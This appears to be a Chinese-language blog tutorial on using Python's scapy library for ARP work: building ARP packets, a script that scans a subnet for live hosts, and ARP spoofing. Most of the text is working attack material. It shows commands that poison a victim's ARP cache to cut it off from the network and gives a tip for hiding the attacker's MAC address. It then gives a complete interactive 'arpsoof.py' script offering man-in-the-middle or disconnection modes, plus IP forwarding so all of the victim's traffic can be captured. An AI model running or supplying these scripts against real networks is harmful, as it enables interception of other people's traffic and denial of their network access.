scapy模塊實現arp掃描,斷網×××

scapy主要基於二、三、四層工作,通過自己構造數據包發送。
在kali Linux系統中可以直接輸入scapy模塊,進行構造數據包。在python中需要先導入scapy模塊。下面用的python版本是2.x

1.構造ARP請求併發送

>>> arp = ARP()      //這裏把ARP()類實例化成arp
>>> dir(arp)    //查看arp的方法有哪些
[ '_name', '_overload_fields', '_pkt', '_show_or_dump', 'add_payload', 'add_underlayer', 'aliastypes', 'answers', 'build', 'build_done', 'build_padding', 
.............................
.............................
'underlayer', 'upper_bonds', 'who_has']

>>> arp.show()       //查看arp類的參數有哪些
###[ ARP ]### 
hwtype= 0x1     #以太網,這裏用的0x1表示
ptype= 0x800    #  基於ipv4協議的
hwlen= 6
plen= 4
op= who-has      #表示包的作用是響應包還是請求包。可以通過   1(who-has)和    2(is-at)的數字設置。is-at表示響應包
hwsrc= 00:0c:29:ba:f7:45     #源MAC地址
psrc= 10.10.10.11                 #源IP地址
hwdst= 00:00:00:00:00:00    #目的MAC地址
pdst= 0.0.0.0                         #目的IP地址

可以通過與wireshark抓的包進行對比。
scapy模塊實現arp掃描,斷網×××

————————————————————————————————————————————————————————————————

>>> arp.pdst="10.10.10.12"    #設置接收的主機IP
>>> sr1(arp)      #發送並接收返回的包
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
<ARP  hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c:29:e4:11:67 psrc=10.10.10.12 hwdst=00:0c:29:ba:f7:45 pdst=10.10.10.11 |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>

>>> send(arp)   #只是發送一個arp包
.
Sent 1 packets.

>>> arp.pdst="10.10.10.156"  #這裏設置了一個不存在的IP

>>> sr1(arp,timeout=0.1,verbose=0)   
WARNING: Mac address to reach destination not found. Using broadcast.
>>> sr1(arp)
Begin emission:
.............WARNING: Mac address to reach destination not found. Using broadcast.
Finished to send 1 packets.
............................................^C
Received 57 packets, got 0 answers, remaining 1 packets

注:給不存在的主機發送arp請求時,得不到任何回覆,並且,如果不設timeout 參數,arp就會一直等待目標主機的答應。verbose 是設置顯示的內容,不會顯示多餘的內容。

直接

>> srp1(Ether(dst='00:0c:29:ea:ed:6d')/ARP(pdst='10.10.10.10'))
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<Ether dst=00:0c:29:ba:f7:45 src=00:0c:29:ea:ed:6d type=0x806 |<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c:29:ea:ed:6d psrc=10.10.10.10 hwdst=00:0c:29:ba:f7:45 pdst=10.10.10.11 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
注意1:這裏構造包加上了數據包幀頭,構造必須滿足OSI七層網絡模型結構,例如構造一個TCP的數據包: Ether()/IP()/TCP()


總結scapy發送與接收

只發不收:

  • send(),在第三層發包,不關心第二層的封裝,第二層採用默認值

  • sendp(),在第二層發包,需要手動指定第二層的封裝

發包且接收回復

  • sr()sr1()都是在第三層發包,sr1表示只接受第一個回覆

  • srp()srp1()都是在第二層發包,srp1表示只接受第一個回覆

如果目標主機不通,那麼將會一直髮包,因此需要加上timeout參數


sr1send 表示在第三層發送,srp1sendp表示在第二層發送

2.通過ARP()實現掃描主機

原理: 發送arp數據包時,只有主機在線的纔會有回覆,主機不在線會一直一直等待下去。通過這一特點實現主機掃描

root@kal:~/scan# vim arping.py 
#!/usr/bin/python
#!encoding=utf-8
import sys
from scapy.all import *

def scan(prefix):     
        for i in range(254):
                try:
                        ip=prefix+'.'+str(i)
                        response=sr1(ARP(pdst=ip),timeout=0.1,verbose=0)  #發送請求包
                        if(response):
                                print ip
                except KeyboardInterrupt:
                        print
                        return

def judge():
        if len(sys.argv) != 2:
                print "Example ./arping 192.168.10"     #提示用戶輸入ip網段格式
                sys.exit()
        else:
                prefix=sys.argv[1]
                return prefix

def main():
        prefix=judge()  #簡單的判斷輸入參數個數。
        scan(prefix)  #掃描局域網內存活主機

if __name__ == "__main__":
        main()

缺點:arp的掃描不能路由,只能掃描同一個IP段的主機。

3.利用ARP發包實現arp斷網×××

>>> arp.show()
###[ ARP ]### 
    hwtype= 0x1
    ptype= 0x800
    hwlen= 6
    plen= 4
    op= who-has
    hwsrc= 00:0c:29:ba:f7:45
    psrc= 10.10.10.11
    hwdst= 00:00:00:00:00:00
    pdst= 0.0.0.0

>>> arp.psrc='10.10.10.2'     #設置源ip爲網關ip
>>> arp.pdst='10.10.10.12'    #目的IP仍然設置受害者的IP
>>> send(arp)
.
Sent 1 packets.
  1. 通過上面的發送的包含義就是:×××機告訴受害者主機,我是網關,受害機就會相信他說的話。受害者的主機就會將之後的所有信息發送到×××者的主機(假網關),然後通過假的網關發送到外網。如果×××主機沒有開啓轉發功能,這就實現了ARP斷網×××。

  2. 但是這樣是直接發送arp包,並沒有包裝Ethernet層,那麼就會產生一個小小的瑕疵。×××機會發送發送廣播,問那個受害機的ip的MAC地址是多少,這個消息將會有受害機響應arp請求,告知自己的MAC地址,這樣就在受害機的arp緩存表中保留了×××機的MAC地址和IP。

  3. 這裏截取了發送arp()欺騙後,受害機的arp緩存表:
    scapy模塊實現arp掃描,斷網×××

這樣就可以輕鬆的看到施展×××的主機是哪一臺。
??那麼如何隱藏呢??

這裏我們就需要包裝以太網層,將其目的MAC設置爲廣播地址,ARP的層的設置和上面一樣,代碼實現如下:

>>sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst='10.10.10.12',psrc='10.10.10.2'))
.
Sent 1 packets.

我們這會看下受害機的arp緩存表:
scapy模塊實現arp掃描,斷網×××

這時就沒有很明顯的留下痕跡,但是如果受害機把10段下的所有網絡ping過的話同樣能知道施展×××機的主機,這樣只是比上面更保險了點。但不是絕對保險。

4. ARP發包實現雙向欺騙並截取數據包

這裏我就直接通過一個比較簡單python的腳本實現。如果需要實現其他功能可以自己繼續完善。
root@kal:~/scan# vim arpsoof.py
#!/usr/bin/python
#!encoding=utf-8

import sys
from scapy.all import *
import time

def arpsoof(ip1,ip2):
        '''
        這個函數只是爲了發送構造的arp請求
        '''
        response = sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=ip1,pdst=ip2))

def double(ip1,ip2):
        '''
        主要是根據兩個不同的需求進行調用arpsoof函數
        '''
        print "1. 中間人×××"
        print "2. 斷網×××"
        choose = int(raw_input())
        print choose
        if choose == 1:
                while True:
                        try:
                                arpsoof(ip1,ip2)
                                arpsoof(ip2,ip1)
                                time.sleep(2)
                        except KeyboardInterrupt:
                                print
                                return
        elif choose == 2:
                while True:
                        try:
                                arpsoof(ip1,ip2)
                                time.sleep(2)
                        except KeyboardInterrupt:
                                print
                                return
        else:
                print "輸入錯誤....\n"
                double(ip1,ip2)

def main():
        '''
        實現輸入網關IP和×××者IP的功能模塊
        '''
        try:
                ip1 = raw_input('*******請輸入網關IP:')
                ip2 = raw_input('*******請輸入受×××者IP:')
                double(ip1,ip2)
        except KeyboardInterrupt:
                print "\n"
                print "*******1. 重新輸入*******"
                print "*******2. 結束程序*******"
                choice = int(raw_input())
                if choice == 1:
                        main()
                elif choice ==2:
                        sys.exit
                else:
                        print "輸入錯誤,請重新輸入...\n"
                        main()

if __name__ == "__main__":
        main()

還要手動實現路由轉發的功能,命令如下:

root@kal:~/scan# echo 1 > /proc/sys/net/ipv4/ip_forward

然後就可以開啓wireshark進行抓包,就可以獲取受害機的所有訪問請求。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章